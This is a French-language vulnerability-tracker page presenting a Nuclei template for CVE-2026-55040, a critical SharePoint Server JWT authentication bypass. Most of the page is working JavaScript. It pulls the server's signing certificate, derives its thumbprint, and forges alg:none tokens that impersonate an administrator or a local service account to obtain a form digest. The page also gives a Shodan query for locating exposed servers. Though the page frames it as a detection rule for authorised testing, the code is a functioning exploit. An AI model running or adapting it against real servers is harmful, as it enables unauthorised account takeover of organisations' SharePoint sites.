Aller au contenu
Appaloosa Scout
Sélection de la langue
fr en

Exploit matérialisé

CVE-2026-55040

CRITICAL KEV

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
Nuclei critical Vérifié
Source

Microsoft SharePoint Server - JWT Authentication Bypass

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2026-55040 -u https://your-target

Template yaml

id: CVE-2026-55040

info:
  name: Microsoft SharePoint Server - JWT Authentication Bypass
  author: sfewer-r7,DhiyaneshDk
  severity: critical
  description: |
    Microsoft SharePoint Server is vulnerable to an authentication bypass (CVE-2026-55040) in its JWT token validation pipeline (SPJsonWebSecurityTokenHandlerV2). The chain disables signature requirements (RequireSignedTokens=false, accepting alg:none tokens), resolves the actor token x5t thumbprint against the server's own STS signing certificate (freely retrievable from /_layouts/15/metadata/json/1) without verifying the signature, accepts unregistered certificate issuers, and only checks the actor token signature is non-empty. An unauthenticated remote attacker can forge a JWT and authenticate as any SharePoint user, including a site administrator. This template forges such a token and confirms the bypass by obtaining a SharePoint form digest.
  impact: |
    Unauthorized attackers can bypass authentication, gaining unauthorized access to protected resources.
  remediation: |
    Update to the latest version of Microsoft Office SharePoint.
  reference:
    - https://github.com/sfewer-r7/CVE-2026-55040
    - https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55040
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-55040
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-55040
    epss-score: 0.39652
    epss-percentile: 0.98513
    cwe-id: CWE-1390
  metadata:
    max-request: 3
    verified: true
    shodan-query: html:"/_layouts/"
  tags: cve,cve2026,sharepoint,microsoft,auth-bypass,jwt,kev,vkev

javascript:
  - pre-condition: |
      isPortOpen(Host, Port);
    code: |
      var net = require("nuclei/net");

      // ===== SHA-1 (pure JavaScript, RFC 3174) =====
      function sha1(data) {
        function R(n, s) { return ((n << s) | (n >>> (32 - s))) >>> 0; }
        function A(x, y) { return (x + y) >>> 0; }
        var msg = data.slice(), L = msg.length;
        msg.push(0x80);
        while ((msg.length % 64) !== 56) msg.push(0);
        var bl = L * 8;
        msg.push(0, 0, 0, 0, (bl >>> 24) & 0xFF, (bl >>> 16) & 0xFF, (bl >>> 8) & 0xFF, bl & 0xFF);
        var H = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0];
        for (var blk = 0; blk < msg.length; blk += 64) {
          var W = [];
          for (var i = 0; i < 16; i++)
            W[i] = ((msg[blk + i * 4] << 24) | (msg[blk + i * 4 + 1] << 16) | (msg[blk + i * 4 + 2] << 8) | msg[blk + i * 4 + 3]) >>> 0;
          for (var i = 16; i < 80; i++)
            W[i] = R(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1);
          var a = H[0], b = H[1], c = H[2], d = H[3], e = H[4];
          for (var t = 0; t < 80; t++) {
            var f, k;
            if (t < 20) { f = ((b & c) | (~b & d)) >>> 0; k = 0x5A827999; }
            else if (t < 40) { f = (b ^ c ^ d) >>> 0; k = 0x6ED9EBA1; }
            else if (t < 60) { f = ((b & c) | (b & d) | (c & d)) >>> 0; k = 0x8F1BBCDC; }
            else { f = (b ^ c ^ d) >>> 0; k = 0xCA62C1D6; }
            var T = A(A(A(A(R(a, 5), f), e), k >>> 0), W[t]);
            e = d; d = c; c = R(b, 30); b = a; a = T;
          }
          H[0] = A(H[0], a); H[1] = A(H[1], b); H[2] = A(H[2], c); H[3] = A(H[3], d); H[4] = A(H[4], e);
        }
        var out = [];
        for (var j = 0; j < 5; j++) out.push((H[j] >>> 24) & 0xFF, (H[j] >>> 16) & 0xFF, (H[j] >>> 8) & 0xFF, H[j] & 0xFF);
        return out;
      }

      // ===== Base64 / Base64url =====
      function b64enc(bytes) {
        var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = "";
        for (var i = 0; i < bytes.length; i += 3) {
          var x = bytes[i], y = i + 1 < bytes.length ? bytes[i + 1] : 0, z = i + 2 < bytes.length ? bytes[i + 2] : 0;
          r += t[x >>> 2];
          r += t[((x & 3) << 4) | (y >>> 4)];
          r += i + 1 < bytes.length ? t[((y & 0xF) << 2) | (z >>> 6)] : "=";
          r += i + 2 < bytes.length ? t[z & 0x3F] : "=";
        }
        return r;
      }
      function b64url(bytes) { return b64enc(bytes).replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, ""); }
      function b64urlStr(s) {
        var b = [];
        for (var i = 0; i < s.length; i++) b.push(s.charCodeAt(i) & 0xFF);
        return b64url(b);
      }
      function b64dec(s) {
        var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = [];
        s = s.replace(/[^A-Za-z0-9+\/]/g, "");
        for (var i = 0; i < s.length; i += 4) {
          var a = t.indexOf(s[i]), b = t.indexOf(s[i + 1]);
          var c = s[i + 2] ? t.indexOf(s[i + 2]) : -1, d = s[i + 3] ? t.indexOf(s[i + 3]) : -1;
          r.push((a << 2) | (b >>> 4));
          if (c !== -1) r.push(((b & 0xF) << 4) | (c >>> 2));
          if (d !== -1) r.push(((c & 3) << 6) | d);
        }
        return r;
      }

      // ===== HTTP helper — accumulation loop to read full multi-chunk response =====
      function httpReq(method, path, extraHdrs, body) {
        var hdrs = "Host: " + Host + "\r\nUser-Agent: nuclei\r\nConnection: close\r\nContent-Length: 0\r\n";
        for (var k in extraHdrs) hdrs += k + ": " + extraHdrs[k] + "\r\n";
        var raw = method + " " + path + " HTTP/1.1\r\n" + hdrs + "\r\n" + (body || "");
        try {
          var conn;
          try { conn = net.OpenTLS("tcp", Host + ":443"); }
          catch (e) { conn = net.Open("tcp", Host + ":443"); }
          conn.SetTimeout(30);
          conn.Send(raw);
          // Accumulate chunks until EOF (server closes with Connection: close)
          var resp = "";
          var chunk;
          while (true) {
            try {
              chunk = conn.RecvString(4096);
              if (!chunk || chunk.length === 0) break;
              resp += chunk;
            } catch (e) { break; }
          }
          conn.Close();
          return resp;
        } catch (e) { return ""; }
      }

      // ===== Dechunk — handle Transfer-Encoding: chunked if present =====
      function dechunk(body) {
        if (!body || body.indexOf("\r\n") === -1) return body;
        var result = "";
        var pos = 0;
        while (pos < body.length) {
          var nlIdx = body.indexOf("\r\n", pos);
          if (nlIdx === -1) break;
          var sizeLine = body.substring(pos, nlIdx).split(";")[0].trim();
          var size = parseInt(sizeLine, 16);
          if (isNaN(size) || size === 0) break;
          pos = nlIdx + 2;
          if (pos + size > body.length) { result += body.substring(pos); break; }
          result += body.substring(pos, pos + size);
          pos += size + 2;
        }
        return result || body;
      }

      function parseResp(raw) {
        if (!raw) return { code: 0, body: "" };
        var sep = raw.indexOf("\r\n\r\n");
        if (sep === -1) sep = raw.indexOf("\n\n");
        if (sep === -1) return { code: 0, body: raw };
        var headers = raw.substring(0, sep);
        var body = raw.substring(sep + 4);
        if (headers.toLowerCase().indexOf("transfer-encoding: chunked") !== -1) {
          body = dechunk(body);
        }
        var m = headers.match(/^HTTP\/[\d.]+\s+(\d+)/);
        return { code: m ? parseInt(m[1]) : 0, body: body };
      }

      // ===== Main detection logic =====
      var metaR = parseResp(httpReq("GET", "/_layouts/15/metadata/json/1", {}, ""));
      if (metaR.code === 200 && metaR.body && metaR.body.trim()[0] !== "<") {
        var meta = null;
        try { meta = JSON.parse(metaR.body); } catch (e) {}
        if (meta) {
          var issuer = meta.issuer || "";
          var atIdx = issuer.indexOf("@");
          if (atIdx !== -1) {
            var realm = issuer.substring(atIdx + 1);
            var keys = meta.keys || [];
            var certB64 = keys[0] && keys[0].keyValue ? keys[0].keyValue.value : null;
            if (certB64) {
              var certDer = b64dec(certB64);
              var x5t = b64url(sha1(certDer));
              var now = Math.floor(Date.now() / 1000);
              var hostLabel = Host.split(".")[0];
              var cid = "00000003-0000-0ff1-ce00-000000000000";

              var aHdr = JSON.stringify({ alg: "RS256", typ: "JWT", x5t: x5t });
              var aPld = JSON.stringify({ iss: issuer, nameid: issuer, nbf: now - 300, exp: now + 3600 });
              var actorJwt = b64urlStr(aHdr) + "." + b64urlStr(aPld) + ".AAAA";

              var forgeToken = function (nameid, nii, extra) {
                var hdr = JSON.stringify({ alg: "none", typ: "JWT" });
                var pld = {
                  aud: cid + "/" + hostLabel + "@" + realm,
                  iss: issuer,
                  nbf: now - 300,
                  exp: now + 3600,
                  nameid: nameid,
                  nii: nii,
                  trustedfordelegation: "true",
                  actortoken: actorJwt
                };
                if (extra) { for (var ek in extra) pld[ek] = extra[ek]; }
                return b64urlStr(hdr) + "." + b64urlStr(JSON.stringify(pld)) + ".";
              };

              var tryDigest = function (token) {
                return parseResp(httpReq("POST", "/_api/contextinfo",
                  { Authorization: "Bearer " + token, Accept: "application/json" }, ""));
              };

              var output = "";

              // Path 1: UPN derived from hostname domain
              var parts = Host.split(".");
              if (parts.length >= 3) {
                var domain = parts.slice(1).join(".");
                var upn = "administrator@" + domain;
                var tok1 = forgeToken("upn_bypass", "urn:office:idp:activedirectory", { upn: upn });
                var r1 = tryDigest(tok1);
                if (r1.code === 200 && r1.body.indexOf("FormDigestValue") !== -1) {
                  output = "CVE-2026-55040-VULNERABLE\nDIGEST-OBTAINED\nupn=" + upn + "\nrealm=" + realm;
                }
              }

              // Path 2: AccessToken / local service fallback
              if (!output) {
                var tok2 = forgeToken("0#.w|nt authority\\local service", "AccessToken", { upn: "x@localhost" });
                var r2 = tryDigest(tok2);
                if (r2.code === 200 && (r2.body.indexOf("FormDigestValue") !== -1 || r2.body.indexOf("UnauthorizedAccessException") !== -1)) {
                  output = "CVE-2026-55040-VULNERABLE\nAUTH-BYPASS-CONFIRMED\nrealm=" + realm;
                }
              }

              if (output) Export(output);
            }
          }
        }
      }

    args:
      Host: "{{Host}}"
      Port: "443"

    matchers:
      - type: word
        words:
          - "CVE-2026-55040-VULNERABLE"

    extractors:
      - type: regex
        name: realm
        regex:
          - "realm=([0-9a-fA-F-]+)"
# digest: 4a0a004730450220428ae115804e93e803784ce4bddd0a87589fbf74999262c6d80152795b2c5c04022100da4a7a0e8c99b8496b5b9320a5f9884dfbbb3cce2b6bb7e0321e4c8f3c87731c:922c64590222798bb761d5b6d8e72950